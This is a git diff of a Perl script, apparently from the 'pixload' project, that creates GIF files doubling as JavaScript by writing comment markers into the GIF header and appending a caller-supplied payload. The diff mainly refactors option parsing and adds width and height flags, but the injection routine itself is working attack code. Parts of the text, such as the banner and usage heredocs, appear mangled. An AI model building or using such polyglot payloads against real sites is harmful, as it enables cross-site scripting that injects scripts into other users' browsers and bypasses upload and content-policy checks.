diff --git a/pixload-gif b/pixload-gif index 627245d..8cc9bbb 100755 --- a/pixload-gif +++ b/pixload-gif @@ -10,85 +10,64 @@ use strict; use warnings; + use feature 'say'; use POSIX; -use Getopt::Long; -use GD; - -sub usage; -sub create_gif; -sub inject_payload; - -# Command line options -GetOptions( - 'help!' => \my $help, - 'payload=s' => \my $payload, - 'output=s' => \my $outfile, -); -usage(0) if $help; -usage(1) unless $outfile; +use Getopt::Long qw(:config no_ignore_case); +use File::Basename; -$payload //= ''; +use constant PROGRAM => basename $0; +use constant VERSION => 0.2; -say <| GIF Payload Creator/Injector |<] - - https://github.com/chinarulezzz/pixload - -EOF +use GD; -create_gif unless -f $outfile; -inject_payload; +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +# Default Options # +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # -say `file $outfile` if -f '/usr/bin/file'; -say `hexdump -C $outfile` if -f '/usr/bin/hexdump'; +my %opts = ( + pixelwidth => 32, + pixelheight => 32, + payload => '', +); # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Subroutines # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # -sub usage { - say <<"EOF"; -Usage: $0 [-payload 'STRING'] -output payload.gif - -If the output file exists, then the payload will be injected into the -existing file. Else the new one will be generated. -EOF - exit +shift; -} - sub create_gif { say "[>] Generating output file"; my $img = GD::Image->new( - 32, - 32, - 1, # Set 1 to TrueColor (24 bits of color data), default is 8-bit palette + $opts{pixelwidth}, + $opts{pixelheight}, + # set 1 to TrueColor (24 bits of color data), default is 8-bit palette + 1, ); my $color = $img->colorAllocate(0, 0, 0); $img->setPixel(0, 0, $color); - sysopen my $fh, $outfile, O_CREAT|O_WRONLY; + sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY; syswrite $fh, $img->gif; close $fh; - say "[✔] File saved to: $outfile\n"; + say "[✔] File saved to: $opts{FILE}\n"; } sub inject_payload { - say "[>] Injecting payload into $outfile"; + say "[>] Injecting payload into $opts{FILE}"; - sysopen my $fh, $outfile, O_WRONLY; + sysopen my $fh, $opts{FILE}, O_WRONLY; sysseek $fh, 6, SEEK_SET; syswrite $fh, "\x2f\x2a"; sysseek $fh, 0, SEEK_END; syswrite $fh, "\x2a\x2f\x3d\x31\x3b"; - syswrite $fh, $payload; + syswrite $fh, $opts{payload}; syswrite $fh, "\x3b"; close $fh; @@ -96,5 +75,67 @@ sub inject_payload { say "[✔] Payload was injected successfully\n"; } +sub banner { + < \$opts{help}, + 'v|version!' => \$opts{version}, + 'P|payload=s' => \$opts{payload}, + 'W|pixelwidth=i' => \$opts{pixelwidth}, + 'H|pixelheight=i' => \$opts{pixelheight}, + ) or die "$!\n"; + + $opts{FILE} = shift @ARGV; + + say &usage and exit(0) if $opts{help}; + say &version and exit(0) if $opts{version}; + say &usage and exit(1) if ! $opts{FILE}; + + say &banner; + + &create_gif if ! -f $opts{FILE}; + &inject_payload; + + say `file $opts{FILE}` if -f '/usr/bin/file'; + say `hexdump -C $opts{FILE}` if -f '/usr/bin/hexdump'; +} + +&main; + # vim:sw=4:ts=4:sts=4:et:cc=80 -# End of file +# End of file.